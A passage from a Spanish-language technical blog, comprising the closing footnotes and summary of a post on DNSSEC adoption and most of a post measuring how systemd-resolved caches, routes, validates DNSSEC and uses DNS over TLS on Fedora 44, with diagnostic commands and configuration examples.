validFrom=\u0026quot;2017-02-02\u0026quot;.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCERT VU#800113 — «Multiple DNS implementations vulnerable to cache poisoning», el aviso de 2008 que cubre la técnica de Kaminsky, y el origen de la respuesta coordinada de aleatorización del puerto de origen.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nThe root zone file — descargada el 27 de septiembre de 2026, serial SOA 2026092701. Las cuentas de esta entrada salen de parsear directamente las delegaciones NS y los registros DS de ese fichero.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nList of gov.uk domain names — el registro del propio gobierno. El fichero más reciente publicado lleva fecha del 1 de octubre de 2016 y lista 3.004 dominios de segundo nivel.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Security Response Center — Flame malware collision attack explained — «An attacker took advantage of the Terminal Services licensing system\u0026rsquo;s enrollment process for certificates that chained up to the Microsoft Root Authority which did not require internal access to Microsoft PKI»; el certificado falsificado «could be used to sign code that chained up to the Microsoft Root Authority and worked on all versions of Windows».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSentinelOne — Driving Through Defenses: targeted attacks leverage signed malicious Microsoft drivers, y Bitdefender\u0026rsquo;s FiveSys analysis — controladores de núcleo maliciosos que llevaban firmas emitidas directamente por Microsoft a través del Windows Hardware Compatibility Program, incluidos controladores usados después en ataques de ransomware.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Security Response Center — Results of major technical investigations for Storm-0558 key acquisition — una clave de firma de consumo que se coló en un volcado de memoria por una condición de carrera, tomada después de comprometerse la cuenta corporativa de un ingeniero, y usada para falsificar tokens que el sistema de correo aceptó indebidamente para cuentas corporativas.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nfTLD Registry Services security requirements — el registro de .bank y .insurance. «.BANK domain names must be signed with DNSSEC with strong cryptographic algorithms», junto a TLS y autenticación de correo obligatorios, con reverificación anual de cada registrante.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nApple, WWDC 2022 session 10079, \u0026ldquo;Improve DNS security for apps and servers\u0026rdquo; — «iOS 16 and macOS Ventura now support client side DNSSEC validation», activado por sesión o por petición con requiresDNSSECValidation sobre URLSessionConfiguration, URLRequest o NWParameters.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn — Understanding DNSSEC in Windows — el cliente DNS de Windows «is non-validating, which means it does not perform DNSSEC validation and relies on its local DNS servers»; la expectativa del bit AD la gobierna la Name Resolution Policy Table, y «IPsec is used to establish this trust relationship» con el servidor DNS.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nResolved: el resolver que ya estás ejecutando — el estado medido de systemd-resolved, incluido por qué todas las distribuciones mayoritarias entregan DNSSEC=no en tiempo de compilación y cómo cambiarlo.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMS-ADTS: DNS-Based Discovery — la especificación del protocolo de Active Directory para localizar un controlador de dominio, incluida la consulta SRV a _ldap._tcp.dc._msdcs que emite un cliente para encontrar los controladores de un contexto de nombres.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn — Sign DNS zones with DNSSEC on Windows Server y What is DNSSEC on DNS Server in Windows Server? — la firma de zonas llegó en Windows Server 2008 R2 pero vetaba las actualizaciones dinámicas, y Windows Server 2012 añadió la firma en línea de zonas dinámicas. En una zona integrada en Active Directory, las claves de firma privadas se replican a los demás servidores DNS primarios mediante la replicación de Active Directory.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nresolved.conf(5), systemd 259.9 tal como viene en Fedora 44 — el manual recomienda allow-downgrade, y true en sistemas donde se pueda confiar en el resolver de upstream, mientras que el valor por defecto empaquetado en /usr/lib/systemd/resolved.conf es DNSSEC=no.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nsystemd meson_options.txt — option('default-dnssec', type : 'combo', choices : ['yes', 'allow-downgrade', 'no'], value : 'allow-downgrade'). El valor por defecto elegido por upstream es allow-downgrade; el #DNSSEC=no del fichero de fabricante de Fedora es lo que esa compilación puso en su lugar.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNunca nos quedamos sin direcciones. Nos quedamos sin ganas. — la versión IPv6 de este argumento, incluidas las 463 organizaciones del Reino Unido con asignaciones IPv6 que no anuncian IPv6 en absoluto, y la observación de que un CGNAT tiene una orden de compra y hacerlo bien no tiene ninguna.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 882 — «Domain Names: Concepts and Facilities», P. Mockapetris, noviembre de 1983. La especificación original, sustituida por RFC 1034 y RFC 1035 en 1987.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nBritish Library, \u0026ldquo;Learning Lessons from the Cyber-Attack\u0026rdquo;, 8 de marzo de 2024 — la revisión que hizo la propia biblioteca del ataque de ransomware de octubre de 2023, nombrando la ausencia de autenticación multifactor en la cuenta usada para entrar, la infraestructura heredada, la segmentación de red limitada y la complejidad del acceso de terceros registrada como riesgo en 2022.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nICO statement on the British Library\u0026rsquo;s 2023 ransomware attack, abril de 2025.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nThe Record — UK logistics firm blames ransomware attack for insolvency, 730 redundancies — KNP Logistics Group, matriz de Knights of Old, con 158 años a sus espaldas, atacada por Akira en junio de 2023 después de que la contraseña de un empleado cayera por fuerza bruta sin autenticación multifactor de por medio, e insolvente en septiembre.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/es/dns/dnssec-the-root-is-signed-you-are-not/","summary":"La parte difícil de DNSSEC se terminó hace años. Contado sobre la zona raíz en vivo el 27 de septiembre de 2026, 1.351 de 1.438 dominios de primer nivel llevan un registro DS y los 1.038 gTLD están firmados todos. Y ahí se para en seco. Un censo de todos los dominios gov.uk del registro oficial encuentra 39 firmados de los 2.390 que todavía resuelven, nueve de ellos juntas parroquiales, mientras que HMRC, el NHS, el GCHQ y el National Cyber Security Centre no están entre ellos. Una autoridad de certificación de cada nueve ha firmado. Y una distribución de Linux de cada tres. windowsupdate.com no tiene DS ninguno. Esto es lo que cuesta de verdad una respuesta falsificada, qué hace firmar al respecto, por qué las excusas de siempre no sobreviven al contacto con los números, y si cuarenta y dos años después de Mockapetris el problema real es que casi nadie entiende qué promete el DNS en realidad.","title":"DNSSEC: proteger tu tráfico contra la falsificación"},{"content":"Hay un resolver de DNS corriendo en tu máquina ahora mismo. No lo instalaste, probablemente nunca lo has configurado, y está respondiendo a cada consulta de nombre que hace la caja. En Fedora, Ubuntu y la mayoría del Linux de escritorio es systemd-resolved, y lleva ahí sentado en silencio desde el día en que se instaló el sistema.\nPuede hacer tres cosas que merece la pena tener. Cachea, así que la misma consulta no cruza la red dos veces. Valida DNSSEC, así que una respuesta forjada se rechaza en vez de creerse. Y habla DNS sobre TLS, así que la red local no puede leer cada nombre que preguntas.\nPor defecto hace exactamente una de ellas. Las otras dos vienen apagadas, y en algunas distribuciones están apagadas en tiempo de compilación, lo que significa que el ajuste que cambiarías ni siquiera es el ajuste que lo decidió. Un validador que nunca valida no sirve ni de adorno.\nEsto es lo que la cosa hace de verdad, medido en una máquina Fedora 44 en marcha con systemd 259, y lo que cambia cuando activas las otras dos. Incluido lo que tu distribución decidió por ti en tiempo de compilación, y cuánto de eso puedes sencillamente revocar.\nQué está respondiendo de verdad a tus consultas Empecemos por el retrato honesto, porque «usa /etc/resolv.conf» lleva años sin ser cierto en estos sistemas.\nsystemd-resolved se expone de cuatro maneras distintas, y cuál use un programa decide lo que le llega de vuelta.1 El camino de glibc es nss-resolve, conectado a través de /etc/nsswitch.conf. Los caminos nativos son D-Bus y Varlink, que llevan el veredicto DNSSEC y el ámbito de interfaz que getaddrinfo no tiene forma de expresar. Luego el stub a la escucha, un servidor DNS de verdad en el loopback para cualquier cosa que hable DNS crudo y no sepa nada de lo anterior.\nCuatro puertas, un solo demonio.\nEn esta máquina ese cableado tiene esta pinta:\n$ ls -l /etc/resolv.conf lrwxrwxrwx. 1 root root 39 May 30 13:56 /etc/resolv.conf -\u0026gt; ../run/systemd/resolve/stub-resolv.conf $ cat /etc/resolv.conf nameserver 127.0.0.53 options edns0 trust-ad search damiendye.uk $ grep ^hosts: /etc/nsswitch.conf hosts: files myhostname mdns4_minimal [NOTFOUND=return] resolve [!UNAVAIL=return] dns resolve en esa línea es nss-resolve. dns detrás es el nss-dns de toda la vida, ahí sentado como respaldo que solo entra si resolved no está corriendo en absoluto.\nCuatro formas de entrar, un demonio, y una decisión de enrutado antes de que nada salga de la caja CÓMO PREGUNTA UN PROGRAMA QUÉ HACE EL DEMONIO ADÓNDE VA nss-resolve glibc, sin veredicto D-Bus, Varlink nativo, veredicto completo 127.0.0.53 el stub completo 127.0.0.54 el stub proxy systemd-resolved 1. hosts y sintéticos 2. caché 3. validador DNSSEC 4. enrutado 5. transporte el stub proxy se salta 2 y 3 LLMNR en 5355 DNS de arriba Cuatro formas de entrar, un demonio, y una decisión de enrutado antes de que nada salga de la caja Hay dos stubs a la escucha, no uno Todo el mundo conoce 127.0.0.53. Menos gente sabe que hay un segundo.\n$ ss -lntup | grep \u0026#39;:53 \u0026#39; udp UNCONN 0 0 127.0.0.54:53 0.0.0.0:* udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:* tcp LISTEN 0 4096 127.0.0.54:53 0.0.0.0:* tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:* No son dos direcciones para lo mismo. El segundo hace menos a propósito:2\n127.0.0.53 127.0.0.54 Papel El resolver local completo Solo modo proxy Caché Sí No Validación DNSSEC Sí, cuando está activada Nunca LLMNR y Multicast DNS Sí No Nombres sintéticos (localhost, _gateway) Sí No Sube a DNS sobre TLS Sí Sí Nombre sintético propio _localdnsstub _localdnsproxy Lo que recibes Lo que decidió resolved Lo que dijo el servidor de arriba La documentación es rotunda sobre la segunda columna. Va a «pass most DNS messages relatively unmodified to the current upstream DNS servers and back, but not try to process the messages locally, and hence does not validate DNSSEC, or offer up LLMNR/MulticastDNS».2\nEso convierte a 127.0.0.54 en el destino correcto para un programa que quiere hacer su propia validación, o para uno que necesita la respuesta cruda de arriba en vez de la interpretación que resolved hace de ella.\nAmbas direcciones tienen nombres sintéticos, _localdnsstub y _localdnsproxy, que resuelven sin configuración ninguna.\nCuatro modos para /etc/resolv.conf, no tres El modo se detecta automáticamente a partir de lo que es el fichero, y hay cuatro.1\n/etc/resolv.conf es Qué significa Clientes que saltan NSS enlace simbólico a run/systemd/resolve/stub-resolv.conf El modo recomendado. Lista 127.0.0.53 y los dominios de búsqueda vivos Pasan por resolved enlace simbólico a /usr/lib/systemd/resolv.conf Estático, lista 127.0.0.53, no lleva dominios de búsqueda Pasan por resolved enlace simbólico a run/systemd/resolve/resolv.conf Lista los servidores reales de arriba, mantenidos al día Se saltan resolved por completo un fichero real gestionado por otra cosa resolved lo lee como consumidor, no como proveedor Se saltan resolved por completo Esa tercera fila pilla a la gente. Parece la opción ordenada, se mantiene al día, y significa calladamente que cada programa que lee resolv.conf directamente está hablando con el resolver de tu ISP sin caché, sin validación y sin cifrado, tengas lo que tengas configurado en resolved.conf.\nLa opción trust-ad del fichero de arriba también importa. Sin ella, glibc arranca el bit AD de la respuesta antes de que tu programa la vea, con el razonable argumento de que la pretensión de un resolver cualquiera de haber validado algo no vale nada. Con 127.0.0.53 como servidor de nombres la pretensión viene de tu propia máquina, así que trust-ad es correcto aquí y resolved te lo escribe él.\nSobre las teorías de la conspiración de systemd Antes de cualquier detalle, porque este es el tema donde siempre aparece.\nSi tu objeción a lo que viene es una teoría sobre Lennart Poettering en persona, o sobre los motivos de Red Hat, o sobre que systemd es un complot para quitarte algo, ya puedes ir largándote, porque no tengo el menor interés en escuchar tu ficción.\nTodo lo de esta entrada salió de una máquina viva: el código fuente, los flags de compilación, el binario que se distribuye, las páginas de manual y el comportamiento medido. Cada afirmación tiene al lado un comando que puedes ejecutar tú mismo y comprobar. Los flags de compilación son públicos. El código es público. El único valor por defecto que creo que está genuinamente mal lo eligió gente que escribió su razonamiento donde cualquiera puede leerlo y discutírselo, que es exactamente lo que hago más abajo.\nEso es bastante más transparencia de la que te da la mayoría del software que ejecutas sin una palabra de queja.\nTrae pruebas o déjalo estar.\nLa caché es la parte que simplemente funciona Esta es la única función que viene activada por defecto en todas partes, y es la que se gana el sueldo sin configuración ninguna.\nLa medición, en esta caja, sobre 32 dominios. Vaciar la caché, consultarlos todos, consultarlos otra vez, y leer el tiempo de consulta que reporta dig en vez de cronometrar el proceso:\n$ resolvectl flush-caches $ for n in $NAMES; do dig +tries=1 @127.0.0.53 \u0026#34;$n\u0026#34; A | grep \u0026#39;Query time\u0026#39;; done mediana media p90 máx total de los 32 nombres caché fría 103,5 ms 106,7 ms 184 ms 238 ms 3 414 ms caché caliente 0,0 ms 0,5 ms 1 ms 3 ms 16 ms 3 414 milisegundos frente a 16. Ese es el argumento entero para una caché local, y es por lo que esto viene por defecto.\nVale la pena ser honesto sobre qué es ese número, eso sí. Es el ahorro en una tanda de treinta y dos nombres que nunca se habían consultado, frente a la misma tanda repetida, y ninguna carga real se parece a ninguna de las dos. La cifra útil es la cola, no la mediana: la peor consulta de ese conjunto costó 238 ms en frío y 3 ms en caliente. Una página que arrastra ocho nombres de host no se preocupa por tu mediana, espera al más lento.\nLos diales [Resolve] Cache=yes # yes | no-negative | no CacheFromLocalhost=no # default: do not cache answers from 127.0.0.1 StaleRetentionSec=0 # serve expired records when upstream is down Ajuste Por defecto Qué hace Cache=yes activo Cachea respuestas positivas y negativas Cache=no-negative Solo respuestas positivas, para cuando estás harto de esperar a que expire un TTL negativo CacheFromLocalhost=no activo No cachea nada cuando el servidor de arriba está en 127.0.0.1 StaleRetentionSec=0 inactivo Sirve registros caducados cuando el de arriba deja de responder DNSCacheSize=4096 4096 Registros guardados por ámbito. Solo systemd 261 en adelante Esa tercera fila es la que muerde. Si tu servidor de arriba es un dnsmasq o un unbound en el loopback, resolved no va a cachear sus respuestas en absoluto, con el argumento de que aquello con lo que habla ya es una caché. Apunta resolved a un resolver con filtrado en otro host y tienes dos capas de caché. Apúntalo a uno en el loopback y tienes una.\nStaleRetentionSec= es el interesante, y viene desactivado. Actívalo y, cuando el de arriba deje de responder, resolved sigue sirviendo registros pasado su TTL en vez de fallar.2 Siempre prueba primero con el de arriba. No se aplica a NXDOMAIN, porque un nombre que no existe es una respuesta perfectamente válida y no tiene nada de rancia. Para un portátil que entra y sale de cobertura, o una máquina que tiene que seguir funcionando durante una caída de DNS, esto merece la pena:\n[Resolve] StaleRetentionSec=1d systemd 261 añadió encima de esto el dimensionado de caché por protocolo, con DNSCacheSize=, MulticastDNSCacheSize= y LLMNRCacheSize=, cada uno con 4096 registros por defecto y un tope de 2^24.3 No en esta caja, que corre la 259, ni en ninguna versión estable actual de ninguna distribución. Vale la pena saber que viene, porque hasta ahora el tamaño de la caché no era ajustable en absoluto.\nEl demonio además vacía todo cuando hay presión de memoria, lo cual es sensato y ocasionalmente sorprendente cuando intentas averiguar por qué una tasa de aciertos de caché pinta mal.\nEl split DNS es la razón para quedárselo Si te llevas una sola cosa de esto, llévate esta sección, porque es la función que genuinamente hace algo que el viejo resolver stub no podía.\nEl resolv.conf de toda la vida tiene una lista de servidores de nombres para la máquina entera. Una lista. Levanta una VPN y algo tiene que sobrescribirla, lo que significa o bien que tus nombres internos funcionan y el resto del DNS pasa por el resolver corporativo, o al revés. No hay tercera opción. El fichero no puede expresarla.\nresolved enruta por consulta y por interfaz.1 Cada enlace tiene sus propios servidores y sus propios dominios, y una consulta se manda al enlace cuyo dominio encaja mejor con el nombre, por número de etiquetas.\nConfiguración Se escribe Efecto Dominio de búsqueda damiendye.uk Sufijo para nombres de una sola etiqueta, y enruta a este enlace las consultas que encajen Dominio solo de ruta ~internal.example Enruta a este enlace las consultas que encajen, nunca se usa como sufijo Ruta comodín ~. Manda a este enlace todo lo que no encaje en otro sitio Ruta por defecto DNSDefaultRoute=yes Recoge las consultas sin encaje, sin reclamar ~. Así que un portátil con una VPN de trabajo levantada tiene esto:\nresolvectl domain tun0 \u0026#39;~corp.example\u0026#39; \u0026#39;~10.in-addr.arpa\u0026#39; resolvectl dns tun0 10.0.0.53 Los nombres bajo corp.example y las consultas inversas de 10.0.0.0/8 bajan por el túnel. Todo lo demás sigue saliendo por el enlace local como antes. A nadie le reescribieron su resolv.conf, y cuando el túnel se cae las rutas se van con él.\nUna consulta, dos enlaces, y una decisión de enrutado tomada por número de etiquetas LA CONSULTA LA DECISIÓN EL ENLACE db01.corp.example 14.0.10.in-addr.arpa blogs.damiendye.uk Gana quien tiene más etiquetas Cada enlace tiene sus propios servidores y dominios. tun0 ~corp.example wlp4s0 DefaultRoute Con ~ solo enruta. Sin ~, además sufija los nombres de una sola etiqueta. Una consulta, dos enlaces, y una decisión de enrutado tomada por número de etiquetas Vale la pena enunciar una regla con claridad, porque es la que la gente busca y entiende al revés. ~. en un enlace significa prefiere este enlace para todo. También impide implícitamente que ningún otro enlace sea ruta por defecto. ¿Quieres que un enlace recoja las sobras sin reclamar todo el espacio de nombres? Pon DNSDefaultRoute=yes y deja ~. en paz.\nComprueba qué decidió en vez de suponerlo:\n$ resolvectl status Link 3 (wlp4s0) Current Scopes: DNS LLMNR/IPv4 LLMNR/IPv6 Protocols: +DefaultRoute LLMNR=resolve -mDNS -DNSOverTLS DNSSEC=no/unsupported Current DNS Server: 192.0.2.53 DNS Servers: 192.0.2.53 2001:db8:1::53 DNS Domain: damiendye.uk Default Route: yes Cada dirección de esta entrada es de los rangos de documentación, 192.0.2.0/24 y 2001:db8::/32, así que no las pegues en una configuración esperando respuesta.4 5 Las cifras y el comportamiento son reales, sacados de una máquina viva. Las direcciones son sustitutas, porque una dirección IPv6 global construida de la forma habitual lleva la MAC de la interfaz en su mitad baja, y publicar una reparte de paso un trozo de inventario de hardware.\nEse -DNSOverTLS y ese DNSSEC=no son las dos secciones siguientes.\nPuede validar DNSSEC Upstream describe el demonio como «a caching and validating DNS/DNSSEC stub resolver».1 La mitad validadora es real, no es un envoltorio alrededor de otra cosa, y funciona. Simplemente no está encendida.\nEncenderla por enlace no necesita sudo, porque resolvectl pasa por polkit y una sesión local activa tiene permiso:\n$ resolvectl dnssec wlp4s0 yes $ resolvectl status wlp4s0 | grep DNSSEC DNSSEC=yes/supported Ese sufijo /supported es resolved reportando lo que encontró cuando sondeó al servidor de arriba, aparte de lo que tú pediste. yes/supported significa que pediste validación y el servidor puede llevarla. no/unsupported en una instalación por defecto significa que nadie la pidió, así que nadie sondeó.\nUna vez encendida, cada consulta vuelve con un veredicto, y hay tres.\nSeguro, inseguro y espurio son tres respuestas distintas ¿PUBLICA EL PADRE UN DS, Y VERIFICAN LAS FIRMAS? SEGURO damiendye.uk Firmado, y la cadena cuadra. Devuelve datos. INSEGURO systemd.io Sin DS. Sin firmar, no hay nada que comprobar. Devuelve datos. ESPURIO dnssec-failed.org Afirma estar firmado. La prueba falla. Consulta rechazada. Dos de las tres devuelven datos. Activar la validación no impide que funcionen los sitios sin firmar. Seguro, inseguro y espurio son tres respuestas distintas, y solo una de ellas es un fallo Aquí están las tres en esta máquina, contra nombres reales:\n$ resolvectl query damiendye.uk -- Data is authenticated: yes; Data was acquired via local or encrypted transport: no $ resolvectl query systemd.io -- Data is authenticated: no; Data was acquired via local or encrypted transport: no $ resolvectl query dnssec-failed.org dnssec-failed.org: resolve call failed: DNSSEC validation failed: missing-key (DNSKEY Missing: no SEP matching the DS found for dnssec-failed.org.) damiendye.uk está firmado, así que la cadena desde la raíz valida y el dato está autenticado. systemd.io no está firmado, así que no hay nada que comprobar y resolved lo dice honestamente en vez de fingir. Ese es el dominio propio del proyecto systemd, un punto al que voy a volver. dnssec-failed.org se publica con firmas rotas a propósito. Ese falla en seco, con un diagnóstico que nombra el problema exacto.\nAquí está la distinción que se pierde. Inseguro no es un fallo. Una zona sin firmar devuelve datos y te dice que no se pudieron verificar. Solo se rechaza una zona que afirma estar firmada y luego no puede demostrarlo.\nLa cadena en sí es visible si quieres verla:\n$ dig +short @127.0.0.53 uk DS 43876 8 2 A107ED2AC1BD14D924173BC7E827A1... $ dig +short @127.0.0.53 damiendye.uk DS 2371 13 2 A5B2825C57899A5A15EE9703832C8358E0D19EF29DC72DD83C691ED77C33BD7F $ dig +short @127.0.0.53 damiendye.uk DNSKEY 256 3 13 oJMRESz5E4gYzS/q6XDrvU1qMPYIjCWz... 257 3 13 mdsswUyr3DPW132mOi8V9xESWE8jTo0d... La raíz avala a uk, uk avala a damiendye.uk, y la clave 257 firma la clave 256 que firma los registros. El algoritmo 13 de ahí es ECDSA P-256, que es lo que quieres en una zona nueva en vez del RSA que el DS de uk de arriba sigue usando.\nA través del stub simple, un programa que jamás oyó hablar de resolved recibe el mismo veredicto en forma de flag AD:\n$ dig @127.0.0.53 ietf.org A | grep flags ;; flags: qr rd ra ad; $ dig @127.0.0.53 dnssec-failed.org A | grep status ;; -\u0026gt;\u0026gt;HEADER\u0026lt;\u0026lt;- status: SERVFAIL Y el demonio lleva un recuento en marcha, que es la forma más rápida de ver si la validación está haciendo algo:\n$ resolvectl statistics DNSSEC Verdicts Secure: 134 Insecure: 62 Bogus: 0 Indeterminate: 2 Lo que cuesta validar Aquí voy a decepcionarte, porque intenté medir esto como es debido y no pude.\nEn caliente, está limpio y no es nada. Los mismos 32 nombres contra una caché llena costaron 16 ms sin validación y 23 ms con ella. Llámalo error de redondeo.\nEn frío es donde debería notarse el coste, y un solo cliente no puede aislarlo. Hice el barrido en ambos sentidos y obtuve respuestas contradictorias: en un orden la validación parecía un 74 % más lenta, en el otro parecía más rápida, lo cual es imposible y te dice qué se está midiendo en realidad. El barrido que corra segundo se beneficia de que el resolver de arriba ya haya traído todo lo que pidió el primero. La variable que domina no es la validación, es de quién era la caché que estaba caliente.\nAsí que no te voy a dar un número que no puedo sostener. Lo que sí es cierto es el mecanismo, y la documentación enuncia su forma con claridad: la validación «requires retrieval of additional DNS data, and thus results in a small DNS lookup time penalty».2 Una consulta validada en frío recorre la cadena de delegación trayendo DS y DNSKEY en cada nivel antes de poder responder, así que cuesta viajes de ida y vuelta extra en nombres que nadie ha pedido todavía, y no cuesta nada en nombres que alguien ya ha pedido.\nQue es también por lo que la misma página avisa de que apagar la caché «comes at a performance penalty, which is particularly high when DNSSEC is used».2 Las dos funciones no son independientes. La validación es asumible precisamente porque la caché hace que la pagues una vez.\nSi quieres la cifra real para tu propia red, mídela ahí. Un cliente en una conexión no puede decírtelo.\nEntonces, ¿por qué está la validación apagada? Porque tu distribución la apagó cuando compiló el paquete, y lo hizo por una razón que dejó escrita.\nEl systemd de upstream trae la validación activada. La opción de compilación lo dice:\noption(\u0026#39;default-dnssec\u0026#39;, type : \u0026#39;combo\u0026#39;, choices : [\u0026#39;yes\u0026#39;, \u0026#39;allow-downgrade\u0026#39;, \u0026#39;no\u0026#39;], value : \u0026#39;allow-downgrade\u0026#39;) y el manual de upstream coincide: DNSSEC= «Defaults to allow-downgrade».6\nAhora mira lo que Fedora le pasa a esa compilación:7\n-Ddefault-dnssec=no -Ddefault-dns-over-tls=no -Ddefault-mdns=no -Ddefault-llmnr=resolve Y lo que pasan Debian y Ubuntu:8\n-Ddefault-dnssec=no -Ddefault-llmnr=no -Ddefault-mdns=no -Ddns-over-tls=openssl Así que el fichero de /usr/lib/systemd/resolved.conf en una caja Fedora, el que va encabezado con «Entries in this file show the compile time defaults», pone #DNSSEC=no. Léelo otra vez, porque está haciendo algo taimado: la línea parece el software contándote su propio valor por defecto, y lo que en realidad te está devolviendo impreso es el flag de compilación de Fedora, con el valor por defecto real de upstream en ninguna parte de la página.\nAjuste Por defecto en upstream Compilación de Fedora Compilación de Debian/Ubuntu Resultado en esta caja DNSSEC= allow-downgrade no no DNSSEC=no DNSOverTLS= no no no (compilado con OpenSSL) -DNSOverTLS MulticastDNS= yes no no -mDNS LLMNR= yes resolve no LLMNR=resolve Cada uno de esos encaja con lo que resolvectl status imprime en esta máquina. Código fuente, flag de compilación y sistema en marcha, los tres coinciden.\nEl razonamiento de Fedora está en la propuesta de cambio y es refrescantemente directo. Se sabe que la función «is known to cause compatibility problems with certain network access points», y Fedora «is not prepared to handle an influx of DNSSEC-related bug reports», así que se va fuera.9\n¿Puedo preguntar por qué la respuesta a una función que se rompe en redes malas es desactivarla para todo el mundo, en vez de traer allow-downgrade como hace upstream y dejar que se apague sola donde tenga que hacerlo? No quién lo decidió. Qué hubo en el proceso que llevó ahí. Porque allow-downgrade existe precisamente para el caso del portal cautivo, es el valor por defecto de upstream justo por esa razón, y traer no en su lugar significa que una máquina en una red perfectamente buena tampoco obtiene validación.\nPara ser justos con ellos, allow-downgrade tiene su propio problema, y es real. El modo detecta un resolver que no puede hacer DNSSEC y deja de validar calladamente. Un atacante que pueda dar forma a tus respuestas DNS puede hacer que esa detección salte a propósito, y la documentación lo dice sin rodeos: «makes DNSSEC validation vulnerable to \u0026lsquo;downgrade\u0026rsquo; attacks».2 Una función de seguridad que cualquier atacante puede apagar hace menos de lo que parece.\nAsí que ninguno de los dos valores por defecto es bueno. no no te da nada. allow-downgrade te da algo que un atacante puede quitarte, y yes te da lo de verdad más todo lo de la siguiente sección.\nCuánto de la web está firmado, en realidad Antes de gastar mucho esfuerzo en la validación vale la pena saber qué fracción de tus consultas puede proteger siquiera. Así que le pedí a resolved el veredicto sobre el ápice de treinta y dos dominios que este asunto implica de verdad: los organismos que escribieron el estándar, las casas que distribuyen el resolver, y la infraestructura que todo el mundo resuelve quiera o no.\nDieciséis de treinta y dos. La mitad.\nFirmado Sin firmar Estándares y registros ietf.org, iana.org, icann.org, rfc-editor.org, ripe.net, isc.org, nlnetlabs.nl, nic.cz, afnic.fr, verisign.com ninguno Distribuciones y fabricantes debian.org, fedoraproject.org, opensuse.org, almalinux.org redhat.com, ubuntu.com, canonical.com, suse.com, rockylinux.org, archlinux.org systemd mismo ninguno systemd.io, freedesktop.org Infraestructura cloudflare.com, gov.uk github.com, kernel.org, google.com, wikipedia.org, mozilla.org, apache.org, gnu.org, quad9.net Lee la primera columna de arriba abajo. Todos y cada uno de los organismos de estándares y registros han firmado. Diez de diez, sin excepciones: la gente que escribió DNSSEC, y la gente que lleva los registros que publican los registros DS de todos los demás. Hicieron el trabajo en sus propias zonas.\nAhora lee la tercera fila de izquierda a derecha. systemd.io no tiene DS. El proyecto que escribió el resolver validador del que trata esta entrada entera no ha firmado su propio dominio, ni tampoco freedesktop.org, donde vive su documentación. Debajo, quad9.net tampoco está firmado, lo que merece un segundo de reflexión: un resolver público cuyo argumento de venta entero es que valida DNSSEC por ti, sobre una zona que nadie puede validar.\nY los fabricantes se parten limpiamente por una línea. Las distribuciones comunitarias firmaron. debian.org, fedoraproject.org, opensuse.org, almalinux.org. Las empresas no. redhat.com, ubuntu.com, canonical.com, suse.com. Esas son las cuatro organizaciones que empaquetan y distribuyen este resolver a la mayor parte del parque Linux.\nAhí no hay ninguna laguna tecnológica. El protocolo lleva más de quince años desplegable, las herramientas son gratis, y los registros aceptan el registro DS sin cobrar por él. Te lo digo gratis: la gente que escribió el estándar ha firmado, y la mayoría de la gente que distribuye el software no.\nHay una versión más afilada del mismo argumento en gov.uk, que sí está firmado, y luego hace esto:\n$ dig +short @127.0.0.53 www.gov.uk CNAME www-cdn.production.govuk.service.gov.uk. $ dig +short @127.0.0.53 service.gov.uk DS (nothing) uk tiene un DS. gov.uk tiene un DS. service.gov.uk no tiene ninguno, así que la cadena se para en seco ahí, y www.gov.uk resuelve inseguro aunque el ápice por encima esté firmado como es debido. Alguien hizo el trabajo en gov.uk y luego apuntó la web de verdad a una delegación sin firmar. Un trabajo a medias.\nPor eso, si estás firmando una zona, comprueba los nombres que la gente teclea de verdad. Un ápice firmado que hace CNAME hacia una zona de CDN sin firmar no te aporta nada.\nDNS sobre TLS funciona, con condiciones DNS sobre TLS está implementado, está compilado en todas las builds mayoritarias, y funciona. Viene apagado en todas partes, incluido upstream, donde DNSOverTLS= «Defaults to no».6\nLa configuración son dos líneas, y la segunda es la que la gente se salta:\n[Resolve] DNS=9.9.9.9#dns.quad9.net 149.112.112.112#dns.quad9.net DNSOverTLS=yes Ese #dns.quad9.net no es decoración. Fija el nombre usado para SNI y para validar el certificado. Quítalo y el certificado se comprueba «checked against the server\u0026rsquo;s IP».2 Eso funciona con los grandes proveedores porque meten direcciones IP en los SAN de su certificado, pero es la comprobación más débil, se rompe en cuanto un proveedor deja de hacerlo, y no te da ninguna protección contra que te redirijan a otra dirección que resulta tener un certificado válido para sí misma. El propio artículo de Fedora Magazine sobre esto omite el nombre de host,10 lo cual es una pena, porque la sintaxis está ahí mismo en los comentarios del fichero de configuración que se distribuye.\nEstricto y oportunista son ajustes muy distintos Modo En un servidor que soporta DoT En un servidor que no Autentica al servidor yes Cifrado Fallan todas las consultas Sí opportunistic Cifrado Texto plano en silencio No no Texto plano Texto plano n/a opportunistic suena al término medio sensato y en general no lo es. La documentación lo dice a las claras: en ese modo «the resolver is not capable of authenticating the server, so it is vulnerable to \u0026lsquo;man-in-the-middle\u0026rsquo; attacks»,2 y cualquiera que pueda tirar tu tráfico del puerto 853 puede forzar la degradación. Te protege de la observación pasiva en una red donde nadie lo está intentando. Contra alguien que sí lo intenta, no hace nada.\nyes es el ajuste honesto. También significa que cuando no puede conectar te quedas sin DNS ninguno, lo cual conviene 